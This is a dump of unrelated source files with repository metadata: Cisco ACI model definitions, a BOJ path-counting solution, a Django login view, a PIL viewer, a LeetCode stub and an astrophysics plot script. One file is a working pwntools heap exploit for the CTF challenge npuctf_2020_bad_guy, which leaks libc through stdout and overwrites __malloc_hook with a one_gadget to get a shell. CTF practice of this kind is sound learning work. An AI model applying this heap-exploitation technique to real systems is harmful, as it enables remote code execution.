meta.rnPrefixes = [
]
prop = PropMeta("str", "childAction", "childAction", 4, PropCategory.CHILD_ACTION)
prop.label = "None"
prop.isImplicit = True
prop.isAdmin = True
prop._addConstant("deleteAll", "deleteall", 16384)
prop._addConstant("deleteNonPresent", "deletenonpresent", 8192)
prop._addConstant("ignore", "ignore", 4096)
meta.props.add("childAction", prop)
prop = PropMeta("str", "cnt", "cnt", 16212, PropCategory.REGULAR)
prop.label = "Number of Collections During this Interval"
prop.isImplicit = True
prop.isAdmin = True
meta.props.add("cnt", prop)
prop = PropMeta("str", "crcAvg", "crcAvg", 43586, PropCategory.IMPLICIT_AVG)
prop.label = "CRC Align Errors average value"
prop.isOper = True
prop.isStats = True
meta.props.add("crcAvg", prop)
prop = PropMeta("str", "crcCountAvg", "crcCountAvg", 45230, PropCategory.IMPLICIT_AVG)
prop.label = "CRC Align Errored Packets average value"
prop.isOper = True
prop.isStats = True
meta.props.add("crcCountAvg", prop)
prop = PropMeta("str", "crcCountCum", "crcCountCum", 45226, PropCategory.IMPLICIT_CUMULATIVE)
prop.label = "CRC Align Errored Packets cumulative"
prop.isOper = True
prop.isStats = True
meta.props.add("crcCountCum", prop)
prop = PropMeta("str", "crcCountMax", "crcCountMax", 45229, PropCategory.IMPLICIT_MAX)
prop.label = "CRC Align Errored Packets maximum value"
prop.isOper = True
prop.isStats = True
meta.props.add("crcCountMax", prop)
prop = PropMeta("str", "crcCountMin", "crcCountMin", 45228, PropCategory.IMPLICIT_MIN)
prop.label = "CRC Align Errored Packets minimum value"
prop.isOper = True
prop.isStats = True
meta.props.add("crcCountMin", prop)
prop = PropMeta("str", "crcCountPer", "crcCountPer", 45227, PropCategory.IMPLICIT_PERIODIC)
prop.label = "CRC Align Errored Packets periodic"
prop.isOper = True
prop.isStats = True
meta.props.add("crcCountPer", prop)
prop = PropMeta("str", "crcCountRate", "crcCountRate", 45234, PropCategory.IMPLICIT_RATE)
prop.label = "CRC Align Errored Packets rate"
prop.isOper = True
prop.isStats = True
meta.props.add("crcCountRate", prop)
prop = PropMeta("str", "crcCountRateAvg", "crcCountRateAvg", 45246, PropCategory.IMPLICIT_AVG)
prop.label = "CRC Align Errored Packets rate average value"
prop.isOper = True
prop.isStats = True
meta.props.add("crcCountRateAvg", prop)
prop = PropMeta("str", "crcCountRateMax", "crcCountRateMax", 45245, PropCategory.IMPLICIT_MAX)
prop.label = "CRC Align Errored Packets rate maximum value"
prop.isOper = True
prop.isStats = True
meta.props.add("crcCountRateMax", prop)
prop = PropMeta("str", "crcCountRateMin", "crcCountRateMin", 45244, PropCategory.IMPLICIT_MIN)
prop.label = "CRC Align Errored Packets rate minimum value"
prop.isOper = True
prop.isStats = True
meta.props.add("crcCountRateMin", prop)
prop = PropMeta("str", "crcCountRateSpct", "crcCountRateSpct", 45247, PropCategory.IMPLICIT_SUSPECT)
prop.label = "CRC Align Errored Packets rate suspect count"
prop.isOper = True
prop.isStats = True
meta.props.add("crcCountRateSpct", prop)
prop = PropMeta("str", "crcCountRateThr", "crcCountRateThr", 45248, PropCategory.IMPLICIT_THRESHOLDED)
prop.label = "CRC Align Errored Packets rate thresholded flags"
prop.isOper = True
prop.isStats = True
prop.defaultValue = 0
prop.defaultValueStr = "unspecified"
prop._addConstant("avgCrit", "avg-severity-critical", 2199023255552)
prop._addConstant("avgHigh", "avg-crossed-high-threshold", 68719476736)
prop._addConstant("avgLow", "avg-crossed-low-threshold", 137438953472)
prop._addConstant("avgMajor", "avg-severity-major", 1099511627776)
prop._addConstant("avgMinor", "avg-severity-minor", 549755813888)
prop._addConstant("avgRecovering", "avg-recovering", 34359738368)
prop._addConstant("avgWarn", "avg-severity-warning", 274877906944)
prop._addConstant("cumulativeCrit", "cumulative-severity-critical", 8192)
prop._addConstant("cumulativeHigh", "cumulative-crossed-high-threshold", 256)
prop._addConstant("cumulativeLow", "cumulative-crossed-low-threshold", 512)
prop._addConstant("cumulativeMajor", "cumulative-severity-major", 4096)
prop._addConstant("cumulativeMinor", "cumulative-severity-minor", 2048)
prop._addConstant("cumulativeRecovering", "cumulative-recovering", 128)
prop._addConstant("cumulativeWarn", "cumulative-severity-warning", 1024)
prop._addConstant("lastReadingCrit", "lastreading-severity-critical", 64)
prop._addConstant("lastReadingHigh", "lastreading-crossed-high-threshold", 2)
prop._addConstant("lastReadingLow", "lastreading-crossed-low-threshold", 4)
prop._addConstant("lastReadingMajor", "lastreading-severity-major", 32)
prop._addConstant("lastReadingMinor", "lastreading-severity-minor", 16)
prop._addConstant("lastReadingRecovering", "lastreading-recovering", 1)
prop._addConstant("lastReadingWarn", "lastreading-severity-warning", 8)
prop._addConstant("maxCrit", "max-severity-critical", 17179869184)
prop._addConstant("maxHigh", "max-crossed-high-threshold", 536870912)
prop._addConstant("maxLow", "max-crossed-low-threshold", 1073741824)
prop._addConstant("maxMajor", "max-severity-major", 8589934592)
prop._addConstant("maxMinor", "max-severity-minor", 4294967296)
prop._addConstant("maxRecovering", "max-recovering", 268435456)
prop._addConstant("maxWarn", "max-severity-warning", 2147483648)
prop._addConstant("minCrit", "min-severity-critical", 134217728)
prop._addConstant("minHigh", "min-crossed-high-threshold", 4194304)
prop._addConstant("minLow", "min-crossed-low-threshold", 8388608)
prop._addConstant("minMajor", "min-severity-major", 67108864)
prop._addConstant("minMinor", "min-severity-minor", 33554432)
prop._addConstant("minRecovering", "min-recovering", 2097152)
prop._addConstant("minWarn", "min-severity-warning", 16777216)
prop._addConstant("periodicCrit", "periodic-severity-critical", 1048576)
prop._addConstant("periodicHigh", "periodic-crossed-high-threshold", 32768)
prop._addConstant("periodicLow", "periodic-crossed-low-threshold", 65536)
prop._addConstant("periodicMajor", "periodic-severity-major", 524288)
prop._addConstant("periodicMinor", "periodic-severity-minor", 262144)
prop._addConstant("periodicRecovering", "periodic-recovering", 16384)
prop._addConstant("periodicWarn", "periodic-severity-warning", 131072)
prop._addConstant("rateCrit", "rate-severity-critical", 36028797018963968)
prop._addConstant("rateHigh", "rate-crossed-high-threshold", 1125899906842624)
prop._addConstant("rateLow", "rate-crossed-low-threshold", 2251799813685248)
prop._addConstant("rateMajor", "rate-severity-major", 18014398509481984)
prop._addConstant("rateMinor", "rate-severity-minor", 9007199254740992)
prop._addConstant("rateRecovering", "rate-recovering", 562949953421312)
prop._addConstant("rateWarn", "rate-severity-warning", 4503599627370496)
prop._addConstant("trendCrit", "trend-severity-critical", 281474976710656)
prop._addConstant("trendHigh", "trend-crossed-high-threshold", 8796093022208)
prop._addConstant("trendLow", "trend-crossed-low-threshold", 17592186044416)
prop._addConstant("trendMajor", "trend-severity-major", 140737488355328)
prop._addConstant("trendMinor", "trend-severity-minor", 70368744177664)
prop._addConstant("trendRecovering", "trend-recovering", 4398046511104)
prop._addConstant("trendWarn", "trend-severity-warning", 35184372088832)
prop._addConstant("unspecified", None, 0)
meta.props.add("crcCountRateThr", prop)
prop = PropMeta("str", "crcCountRateTr", "crcCountRateTr", 45249, PropCategory.IMPLICIT_TREND)
prop.label = "CRC Align Errored Packets rate trend"
prop.isOper = True
prop.isStats = True
meta.props.add("crcCountRateTr", prop)
prop = PropMeta("str", "crcCountSpct", "crcCountSpct", 45231, PropCategory.IMPLICIT_SUSPECT)
prop.label = "CRC Align Errored Packets suspect count"
prop.isOper = True
prop.isStats = True
meta.props.add("crcCountSpct", prop)
prop = PropMeta("str", "crcCountThr", "crcCountThr", 45232, PropCategory.IMPLICIT_THRESHOLDED)
prop.label = "CRC Align Errored Packets thresholded flags"
prop.isOper = True
prop.isStats = True
prop.defaultValue = 0
prop.defaultValueStr = "unspecified"
prop._addConstant("avgCrit", "avg-severity-critical", 2199023255552)
prop._addConstant("avgHigh", "avg-crossed-high-threshold", 68719476736)
prop._addConstant("avgLow", "avg-crossed-low-threshold", 137438953472)
prop._addConstant("avgMajor", "avg-severity-major", 1099511627776)
prop._addConstant("avgMinor", "avg-severity-minor", 549755813888)
prop._addConstant("avgRecovering", "avg-recovering", 34359738368)
prop._addConstant("avgWarn", "avg-severity-warning", 274877906944)
prop._addConstant("cumulativeCrit", "cumulative-severity-critical", 8192)
prop._addConstant("cumulativeHigh", "cumulative-crossed-high-threshold", 256)
prop._addConstant("cumulativeLow", "cumulative-crossed-low-threshold", 512)
prop._addConstant("cumulativeMajor", "cumulative-severity-major", 4096)
prop._addConstant("cumulativeMinor", "cumulative-severity-minor", 2048)
prop._addConstant("cumulativeRecovering", "cumulative-recovering", 128)
prop._addConstant("cumulativeWarn", "cumulative-severity-warning", 1024)
prop._addConstant("lastReadingCrit", "lastreading-severity-critical", 64)
prop._addConstant("lastReadingHigh", "lastreading-crossed-high-threshold", 2)
prop._addConstant("lastReadingLow", "lastreading-crossed-low-threshold", 4)
prop._addConstant("lastReadingMajor", "lastreading-severity-major", 32)
prop._addConstant("lastReadingMinor", "lastreading-severity-minor", 16)
prop._addConstant("lastReadingRecovering", "lastreading-recovering", 1)
prop._addConstant("lastReadingWarn", "lastreading-severity-warning", 8)
prop._addConstant("maxCrit", "max-severity-critical", 17179869184)
prop._addConstant("maxHigh", "max-crossed-high-threshold", 536870912)
prop._addConstant("maxLow", "max-crossed-low-threshold", 1073741824)
prop._addConstant("maxMajor", "max-severity-major", 8589934592)
prop._addConstant("maxMinor", "max-severity-minor", 4294967296)
prop._addConstant("maxRecovering", "max-recovering", 268435456)
prop._addConstant("maxWarn", "max-severity-warning", 2147483648)
prop._addConstant("minCrit", "min-severity-critical", 134217728)
prop._addConstant("minHigh", "min-crossed-high-threshold", 4194304)
prop._addConstant("minLow", "min-crossed-low-threshold", 8388608)
prop._addConstant("minMajor", "min-severity-major", 67108864)
prop._addConstant("minMinor", "min-severity-minor", 33554432)
prop._addConstant("minRecovering", "min-recovering", 2097152)
prop._addConstant("minWarn", "min-severity-warning", 16777216)
prop._addConstant("periodicCrit", "periodic-severity-critical", 1048576)
prop._addConstant("periodicHigh", "periodic-crossed-high-threshold", 32768)
prop._addConstant("periodicLow", "periodic-crossed-low-threshold", 65536)
prop._addConstant("periodicMajor", "periodic-severity-major", 524288)
prop._addConstant("periodicMinor", "periodic-severity-minor", 262144)
prop._addConstant("periodicRecovering", "periodic-recovering", 16384)
prop._addConstant("periodicWarn", "periodic-severity-warning", 131072)
prop._addConstant("rateCrit", "rate-severity-critical", 36028797018963968)
prop._addConstant("rateHigh", "rate-crossed-high-threshold", 1125899906842624)
prop._addConstant("rateLow", "rate-crossed-low-threshold", 2251799813685248)
prop._addConstant("rateMajor", "rate-severity-major", 18014398509481984)
prop._addConstant("rateMinor", "rate-severity-minor", 9007199254740992)
prop._addConstant("rateRecovering", "rate-recovering", 562949953421312)
prop._addConstant("rateWarn", "rate-severity-warning", 4503599627370496)
prop._addConstant("trendCrit", "trend-severity-critical", 281474976710656)
prop._addConstant("trendHigh", "trend-crossed-high-threshold", 8796093022208)
prop._addConstant("trendLow", "trend-crossed-low-threshold", 17592186044416)
prop._addConstant("trendMajor", "trend-severity-major", 140737488355328)
prop._addConstant("trendMinor", "trend-severity-minor", 70368744177664)
prop._addConstant("trendRecovering", "trend-recovering", 4398046511104)
prop._addConstant("trendWarn", "trend-severity-warning", 35184372088832)
prop._addConstant("unspecified", None, 0)
meta.props.add("crcCountThr", prop)
prop = PropMeta("str", "crcCountTr", "crcCountTr", 45233, PropCategory.IMPLICIT_TREND)
prop.label = "CRC Align Errored Packets trend"
prop.isOper = True
prop.isStats = True
meta.props.add("crcCountTr", prop)
prop = PropMeta("str", "crcMax", "crcMax", 43585, PropCategory.IMPLICIT_MAX)
prop.label = "CRC Align Errors maximum value"
prop.isOper = True
prop.isStats = True
meta.props.add("crcMax", prop)
prop = PropMeta("str", "crcMin", "crcMin", 43584, PropCategory.IMPLICIT_MIN)
prop.label = "CRC Align Errors minimum value"
prop.isOper = True
prop.isStats = True
meta.props.add("crcMin", prop)
prop = PropMeta("str", "crcSpct", "crcSpct", 43587, PropCategory.IMPLICIT_SUSPECT)
prop.label = "CRC Align Errors suspect count"
prop.isOper = True
prop.isStats = True
meta.props.add("crcSpct", prop)
prop = PropMeta("str", "crcThr", "crcThr", 43588, PropCategory.IMPLICIT_THRESHOLDED)
prop.label = "CRC Align Errors thresholded flags"
prop.isOper = True
prop.isStats = True
prop.defaultValue = 0
prop.defaultValueStr = "unspecified"
prop._addConstant("avgCrit", "avg-severity-critical", 2199023255552)
prop._addConstant("avgHigh", "avg-crossed-high-threshold", 68719476736)
prop._addConstant("avgLow", "avg-crossed-low-threshold", 137438953472)
prop._addConstant("avgMajor", "avg-severity-major", 1099511627776)
prop._addConstant("avgMinor", "avg-severity-minor", 549755813888)
prop._addConstant("avgRecovering", "avg-recovering", 34359738368)
prop._addConstant("avgWarn", "avg-severity-warning", 274877906944)
prop._addConstant("cumulativeCrit", "cumulative-severity-critical", 8192)
prop._addConstant("cumulativeHigh", "cumulative-crossed-high-threshold", 256)
prop._addConstant("cumulativeLow", "cumulative-crossed-low-threshold", 512)
prop._addConstant("cumulativeMajor", "cumulative-severity-major", 4096)
prop._addConstant("cumulativeMinor", "cumulative-severity-minor", 2048)
prop._addConstant("cumulativeRecovering", "cumulative-recovering", 128)
prop._addConstant("cumulativeWarn", "cumulative-severity-warning", 1024)
prop._addConstant("lastReadingCrit", "lastreading-severity-critical", 64)
prop._addConstant("lastReadingHigh", "lastreading-crossed-high-threshold", 2)
prop._addConstant("lastReadingLow", "lastreading-crossed-low-threshold", 4)
prop._addConstant("lastReadingMajor", "lastreading-severity-major", 32)
prop._addConstant("lastReadingMinor", "lastreading-severity-minor", 16)
prop._addConstant("lastReadingRecovering", "lastreading-recovering", 1)
prop._addConstant("lastReadingWarn", "lastreading-severity-warning", 8)
prop._addConstant("maxCrit", "max-severity-critical", 17179869184)
prop._addConstant("maxHigh", "max-crossed-high-threshold", 536870912)
prop._addConstant("maxLow", "max-crossed-low-threshold", 1073741824)
prop._addConstant("maxMajor", "max-severity-major", 8589934592)
prop._addConstant("maxMinor", "max-severity-minor", 4294967296)
prop._addConstant("maxRecovering", "max-recovering", 268435456)
prop._addConstant("maxWarn", "max-severity-warning", 2147483648)
prop._addConstant("minCrit", "min-severity-critical", 134217728)
prop._addConstant("minHigh", "min-crossed-high-threshold", 4194304)
prop._addConstant("minLow", "min-crossed-low-threshold", 8388608)
prop._addConstant("minMajor", "min-severity-major", 67108864)
prop._addConstant("minMinor", "min-severity-minor", 33554432)
prop._addConstant("minRecovering", "min-recovering", 2097152)
prop._addConstant("minWarn", "min-severity-warning", 16777216)
prop._addConstant("periodicCrit", "periodic-severity-critical", 1048576)
prop._addConstant("periodicHigh", "periodic-crossed-high-threshold", 32768)
prop._addConstant("periodicLow", "periodic-crossed-low-threshold", 65536)
prop._addConstant("periodicMajor", "periodic-severity-major", 524288)
prop._addConstant("periodicMinor", "periodic-severity-minor", 262144)
prop._addConstant("periodicRecovering", "periodic-recovering", 16384)
prop._addConstant("periodicWarn", "periodic-severity-warning", 131072)
prop._addConstant("rateCrit", "rate-severity-critical", 36028797018963968)
prop._addConstant("rateHigh", "rate-crossed-high-threshold", 1125899906842624)
prop._addConstant("rateLow", "rate-crossed-low-threshold", 2251799813685248)
prop._addConstant("rateMajor", "rate-severity-major", 18014398509481984)
prop._addConstant("rateMinor", "rate-severity-minor", 9007199254740992)
prop._addConstant("rateRecovering", "rate-recovering", 562949953421312)
prop._addConstant("rateWarn", "rate-severity-warning", 4503599627370496)
prop._addConstant("trendCrit", "trend-severity-critical", 281474976710656)
prop._addConstant("trendHigh", "trend-crossed-high-threshold", 8796093022208)
prop._addConstant("trendLow", "trend-crossed-low-threshold", 17592186044416)
prop._addConstant("trendMajor", "trend-severity-major", 140737488355328)
prop._addConstant("trendMinor", "trend-severity-minor", 70368744177664)
prop._addConstant("trendRecovering", "trend-recovering", 4398046511104)
prop._addConstant("trendWarn", "trend-severity-warning", 35184372088832)
prop._addConstant("unspecified", None, 0)
meta.props.add("crcThr", prop)
prop = PropMeta("str", "crcTr", "crcTr", 43589, PropCategory.IMPLICIT_TREND)
prop.label = "CRC Align Errors trend"
prop.isOper = True
prop.isStats = True
meta.props.add("crcTr", prop)
prop = PropMeta("str", "dn", "dn", 1, PropCategory.DN)
prop.label = "None"
prop.isDn = True
prop.isImplicit = True
prop.isAdmin = True
prop.isCreateOnly = True
meta.props.add("dn", prop)
prop = PropMeta("str", "index", "index", 115, PropCategory.REGULAR)
prop.label = "History Index"
prop.isImplicit = True
prop.isAdmin = True
meta.props.add("index", prop)
prop = PropMeta("str", "lastCollOffset", "lastCollOffset", 111, PropCategory.REGULAR)
prop.label = "Collection Length"
prop.isImplicit = True
prop.isAdmin = True
meta.props.add("lastCollOffset", prop)
prop = PropMeta("str", "repIntvEnd", "repIntvEnd", 110, PropCategory.REGULAR)
prop.label = "Reporting End Time"
prop.isImplicit = True
prop.isAdmin = True
meta.props.add("repIntvEnd", prop)
prop = PropMeta("str", "repIntvStart", "repIntvStart", 109, PropCategory.REGULAR)
prop.label = "Reporting Start Time"
prop.isImplicit = True
prop.isAdmin = True
meta.props.add("repIntvStart", prop)
prop = PropMeta("str", "rn", "rn", 2, PropCategory.RN)
prop.label = "None"
prop.isRn = True
prop.isImplicit = True
prop.isAdmin = True
prop.isCreateOnly = True
meta.props.add("rn", prop)
prop = PropMeta("str", "status", "status", 3, PropCategory.STATUS)
prop.label = "None"
prop.isImplicit = True
prop.isAdmin = True
prop._addConstant("created", "created", 2)
prop._addConstant("deleted", "deleted", 8)
prop._addConstant("modified", "modified", 4)
meta.props.add("status", prop)
def __init__(self, parentMoOrDn, markDirty=True, **creationProps):
namingVals = []
Mo.__init__(self, parentMoOrDn, markDirty, *namingVals, **creationProps)
# End of package file
# ##################################################
| [
"rrishike@cisco.com"
] | rrishike@cisco.com |
c5c6fbb99ac0691b8a7dfdef534b8d24fd07f978 | 7b9527f6a66bf544071c07498163883ae33ff9ec | /python/1890.py | abe9b60579196c7c25b4d2637e34034451d9754d | [] | no_license | rhyun9584/BOJ | ec4133718934e59689cdcc0d3284bad9a412dc7a | f4c651da7c4840595175abf201d07151d4ac9402 | refs/heads/master | 2023-08-31T21:29:07.550395 | 2023-08-25T16:53:53 | 2023-08-25T16:53:53 | 225,122,352 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 861 | py | # 갈 수 없는 경로에 대해 체크할 수 있으면 시간이 더 줄어들것같은데...
import sys
sys.setrecursionlimit(10**5)
N = int(input())
maps = [list(map(int, input().split())) for _ in range(N)]
dp_table = [[0]*N for _ in range(N)]
dp_table[N-1][N-1] = 1
road = []
def dfs(x, y):
global count
d = maps[x][y]
if dp_table[x][y] > 0:
# (x,y)에 도착했을때 이미 갈 수 있는 경로의 경우의 수가 기록된 위치인 경우
# 그 경우의 수 만큼 더해주어 기록
for rx, ry in road:
dp_table[rx][ry] += dp_table[x][y]
return
# 중간에 0을 만나면 더이상 갈 수 없음
if d == 0:
return
road.append((x,y))
if x + d < N:
dfs(x+d, y)
if y + d < N:
dfs(x, y+d)
road.pop()
dfs(0, 0)
print(dp_table[0][0]) | [
"rhyun9584@naver.com"
] | rhyun9584@naver.com |
f0273087f58f8b16f942e2277ca294b63150082b | 7e40c8bb28c2cee8e023751557b90ef7ef518326 | /npuctf_2020_bad_guy/npuctf_2020_bad_guy.py | 932efdc96ee2919b873e1565c181f2bb8861c812 | [] | no_license | 1337536723/buuctf_pwn | b6e5d65372ed0638a722faef1775026a89321fa3 | cca3c4151a50c7d7c3237dab2c5a283dbcf6fccf | refs/heads/master | 2023-08-29T19:35:04.352530 | 2021-11-16T14:06:20 | 2021-11-16T14:06:20 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,190 | py | from pwn import *
#context.log_level = 'debug'
context.arch = 'amd64'
#p = remote('node4.buuoj.cn', )
libc = ELF('libc-2.23.buu.so')
ru = lambda s : p.recvuntil(s)
sn = lambda s : p.send(s)
sla = lambda r, s : p.sendlineafter(r, s)
sa = lambda r, s : p.sendafter(r, s)
sl = lambda s : p.sendline(s)
rv = lambda s : p.recv(s)
def debug(s):
gdb.attach(p, '''
source ~/libc/loadsym.py
loadsym ~/libc/2.23/64/libc-2.23.debug.so
''' + s)
def alloc(index, size, content):
sla(b'>> ', b'1')
sla(b'Index :', str(index).encode())
sla(b'size: ', str(size).encode())
sa(b'Content:', content)
def edit(index, size, content):
sla(b'>> ', b'2')
sla(b'Index :', str(index).encode())
sla(b'size: ', str(size).encode())
sa(b'content:', content)
def delete(index):
sla(b'>> ', b'3')
sla(b'Index :', str(index).encode())
def exp():
alloc(0, 0x10, b'a')
alloc(1, 0x10, b'a')
alloc(2, 0x60, b'a')
alloc(3, 0x10, b'a')
delete(2)
edit(0, 0x20, b'\x00' * 0x10 + p64(0) + p64(0x91))
delete(1)
alloc(1, 0x10, b'a')
edit(1, 0x22, b'a' * 0x10 + p64(0) + p64(0x71) + b'\xdd\x85')
alloc(2, 0x60, b'a')
# padding flag read_buf write_buf
layout = [
'\x00' * 0x33, 0xfbad1800, 0, 0, 0, b'\x58'
]
alloc(3, 0x60, flat(layout))
one_gadgets = [0x45206, 0x4525a, 0xef9f4, 0xf0897]
one_gadgets_buu = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
libc_base = u64(rv(8)) - libc.sym['_IO_2_1_stdout_'] - 131
malloc_hook = libc_base + libc.sym['__malloc_hook']
one = libc_base + one_gadgets_buu[3]
success('libc_base -> {}'.format(hex(libc_base)))
#uaf
alloc(0, 0x60, b'a')
alloc(0, 0x60, b'a')
alloc(1, 0x60, b'a')
alloc(2, 0x60, b'a')
alloc(3, 0x30, b'a') #avoid merge
edit(0, 0x70, b'\x00' * 0x60 + p64(0) + p64(0xe1))
delete(1)
alloc(1, 0x60, b'a')
alloc(3, 0x60, b'a')
delete(3)
edit(2, 0x8, p64(malloc_hook - 0x23))
alloc(0, 0x60, b'a')
alloc(0, 0x60, b'\x00' * 0x13 + p64(one))
sla(b'>> ', b'1')
sla(b'Index :', b'0')
sla(b'size: ', b'20')
p.interactive()
if __name__ == "__main__":
while True:
try:
#p = process('./npuctf_2020_bad_guy')
p = remote('node4.buuoj.cn', 29604)
exp()
break
except:
p.close()
| [
"admin@srmxy.cn"
] | admin@srmxy.cn |
7280ce1423804ba07d711d41cda2d662613bc199 | 809e1b7ca0d9e265c4f3e49e18e4e3c64e561526 | /login/loginreg/views - Copy.py | f0f7cf87a84a6fd07bf8955930eddf73b1b74626 | [] | no_license | gitanjali1077/Login | e4a9c6ede5916a2d42440b29fdf424ad6a80a688 | 5823579b14df68874c8df07a95ec9a796b705207 | refs/heads/master | 2021-01-22T21:41:33.529308 | 2017-08-14T15:45:43 | 2017-08-14T15:45:43 | 85,465,261 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,251 | py | from login.settings import SENDER,PASS
import smtplib
from django.shortcuts import render,render_to_response
from django import forms
from django.views.generic import View
from django.views.generic.edit import FormView
from django.views import generic
#require a form to create a new object
from django.views.generic.edit import CreateView,UpdateView ,DeleteView
# for uploading form
from django.core.urlresolvers import reverse_lazy
# for login
from django.shortcuts import render,redirect
from django.contrib.auth import authenticate,login,logout
from django.views.generic import View
from .forms import UserForm ,UserFormlog
from django.template import RequestContext
from django.contrib.auth import views as auth_views
from django.contrib import auth
from django.contrib.auth.decorators import login_required
# Create your views here.
def create_profile(request):
if request.method == 'GET':
user_form = UserForm
return render(request, 'profile.html', {
'user_form': user_form
})
if request.method == 'POST':
user_form = UserForm(request.POST)
if user_form.is_valid() :
user1= user_form.save(commit=False)
#prof= profile_form.save()
username = user_form.cleaned_data['username']
fname = user_form.cleaned_data['first_name']
password = user_form.cleaned_data['password']
email = user_form.cleaned_data['email']
user1.set_password(password)
user1.save()
msg="Hello , \n Welcome here"
smtp= smtplib.SMTP('smtp.gmail.com')
smtp.ehlo()
smtp.starttls()
smtp.ehlo()
smtp.login(SENDER,PASS)
smtp.sendmail(SENDER,email,msg)
smtp.quit()
#profile=profile_form.save(commit=False)
#profile.user_id=user1.id+1
#profile.college=profile_form.cleaned_data['college']
#profile.save()
user = authenticate(username=username ,password=password)
if user is not None:
if user.is_active:
login(request, user)
return redirect('index.html')
#return render(request,'index.html'
#profile_form.save()
#return redirect('settings:profile')
return render(request, 'register/profile.html', {
'user_form': user_form
})
def indexpage(request):
if request.method == 'GET':
user_form = UserForm
return render(request, 'index.html', )
global user_form1
#@login_required for stopping user from some pages
def userlogin(request):
ab="pagal hai"
if request.method == 'GET':
user_form = UserFormlog
return render(request, 'login.html', {
'form': user_form #user_form
})
if request.method == 'POST':
user_form1 = UserFormlog(request.POST)
if user_form1.is_valid() :
ab="post chala"
#prof= profile_form.save()
username = user_form1.cleaned_data['username']
password = user_form1.cleaned_data['password']
#profile=profile_form.save(commit=False)
#profile.user_id=user1.id+1
#profile.college=profile_form.cleaned_data['college']
#profile.save()
user1 = authenticate(username=username ,password=password)
if user1 :
auth.login(request, user1)
#return redirect('index.html')
return render(request,'index.html',{ 'user1': user_form1 })
else:
return redirect('nope.html')
#profile_form.save()
#return redirect('settings:profile')
else:
print user_form1.errors
return render(request, 'login.html', {
'user_form': user_form1 ,'ab':ab
})
def logout(request):
auth.logout(request)
#user_form1= users.objects.filter(user__username=request.user)
user_form1=request.user
user_form1.username=''
return render_to_response('login.html', {'box_width': '402',
'logged_out': '1',})
# context_instance=RequestContext(request))
| [
"gitanjali1077@gmail.com"
] | gitanjali1077@gmail.com |
65804be70908e44da99b1c7b18eab58a05435784 | 5fff534c0f5b5c1de498a9be7d7cd7f1f86ba5a1 | /myvenv/bin/viewer.py | 8aaa5b0ed68e599bb3af7c711324c71e7f4f1f55 | [] | no_license | baidoosik/portfolio | 1287d2e4803608f83e1ba4190d82af76fd29db08 | 6f4b2c861231fae326d47cbbe9711139ab041d59 | refs/heads/master | 2021-01-18T03:14:01.288730 | 2017-06-14T14:59:51 | 2017-06-14T14:59:51 | 85,835,651 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 998 | py | #!/Users/doosikbai/worldnomade/myvenv/bin/python3
#
# The Python Imaging Library
# $Id$
#
from __future__ import print_function
try:
from tkinter import Tk, Label
except ImportError:
from Tkinter import Tk, Label
from PIL import Image, ImageTk
#
# an image viewer
class UI(Label):
def __init__(self, master, im):
if im.mode == "1":
# bitmap image
self.image = ImageTk.BitmapImage(im, foreground="white")
Label.__init__(self, master, image=self.image, bg="black", bd=0)
else:
# photo image
self.image = ImageTk.PhotoImage(im)
Label.__init__(self, master, image=self.image, bd=0)
#
# script interface
if __name__ == "__main__":
import sys
if not sys.argv[1:]:
print("Syntax: python viewer.py imagefile")
sys.exit(1)
filename = sys.argv[1]
root = Tk()
root.title(filename)
im = Image.open(filename)
UI(root, im).pack()
root.mainloop()
| [
"qoentlr37@naver.com"
] | qoentlr37@naver.com |
7b710a4e7e7137dd09a8b44701b6dd14e45c605a | 4fbd844113ec9d8c526d5f186274b40ad5502aa3 | /algorithms/python3/arithmetic_slices.py | c77282972d02cdeaf46c52a16d55caf6ef39dc8d | [] | no_license | capric8416/leetcode | 51f9bdc3fa26b010e8a1e8203a7e1bcd70ace9e1 | 503b2e303b10a455be9596c31975ee7973819a3c | refs/heads/master | 2022-07-16T21:41:07.492706 | 2020-04-22T06:18:16 | 2020-04-22T06:18:16 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,095 | py | # !/usr/bin/env python
# -*- coding: utf-8 -*-
"""
A sequence of number is called arithmetic if it consists of at least three elements and if the difference between any two consecutive elements is the same.
For example, these are arithmetic sequence:
1, 3, 5, 7, 9
7, 7, 7, 7
3, -1, -5, -9
The following sequence is not arithmetic.
1, 1, 2, 5, 7
A zero-indexed array A consisting of N numbers is given.
A slice of that array is any pair of integers (P, Q) such that 0 <= P < Q < N.
A slice (P, Q) of array A is called arithmetic if the sequence:
A[P], A[p + 1], ..., A[Q - 1], A[Q] is arithmetic.
In particular, this means that P + 1 < Q.
The function should return the number of arithmetic slices in the array A.
Example:
A = [1, 2, 3, 4]
return: 3, for 3 arithmetic slices in A: [1, 2, 3], [2, 3, 4] and [1, 2, 3, 4] itself.
"""
""" ==================== body ==================== """
class Solution:
def numberOfArithmeticSlices(self, A):
"""
:type A: List[int]
:rtype: int
"""
""" ==================== body ==================== """
| [
"capric8416@gmail.com"
] | capric8416@gmail.com |
1a28e3779dba8c219f0d15eae95d6f27d2cc046a | 99ec9dbc139fda4d2b29509dcf606cf836eacc5f | /Dust-wave/zones-v-n-plane-RSG.py | 6625fd7fe00248f28491c893b585b5e894f714c3 | [] | no_license | will-henney/bowshock-shape | 1f1caa9a6fea2681ce356d5679cafacef2aab9e1 | dfdb1f997bf05fa0f8a5b5101aeaa8d4292e012f | refs/heads/master | 2022-11-17T09:22:46.334456 | 2020-07-14T04:29:22 | 2020-07-14T04:29:22 | 5,662,223 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,705 | py | import sys
import numpy as np
from matplotlib import pyplot as plt
import seaborn as sns
from vec_root import chandrupatla
figname = sys.argv[0].replace('.py', '.pdf')
sns.set_style('ticks')
sns.set_color_codes('dark')
fig, axes = plt.subplots(1, 1, sharex=True, sharey=True, figsize=(3.3, 4))
stardata = [
[20.0, 15.6, 0.0476, 0.0, axes],
]
# Velocities in units of km/s (10 km/s -> 100 km/s)
vgrid = np.linspace(10.0, 100.0, 800)
# Densities in units of 1 pcc (0.01 -> 1e5)
logngrid = np.linspace(-3.3, 6.3, 800)
# 2d versions of velocity and density grids
vv, nn = np.meshgrid(vgrid, 10**logngrid)
def rstar(v10, n, L4):
"""Characteristic radius in pc"""
return 2.21*np.sqrt(L4/n)/v10
def taustar(v10, n, L4, kappa600=1.0):
